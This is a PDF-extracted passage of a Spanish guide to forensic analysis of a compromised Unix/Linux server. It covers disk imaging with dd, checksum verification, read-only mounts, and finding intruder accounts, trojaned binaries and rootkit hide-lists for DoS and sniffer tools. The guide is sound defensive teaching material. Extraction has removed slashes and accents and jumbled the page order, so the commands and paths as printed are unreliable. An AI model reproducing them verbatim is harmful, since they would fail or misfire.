[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 13: Análisis Forense de Sistemas GNU/Linux, Unix

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

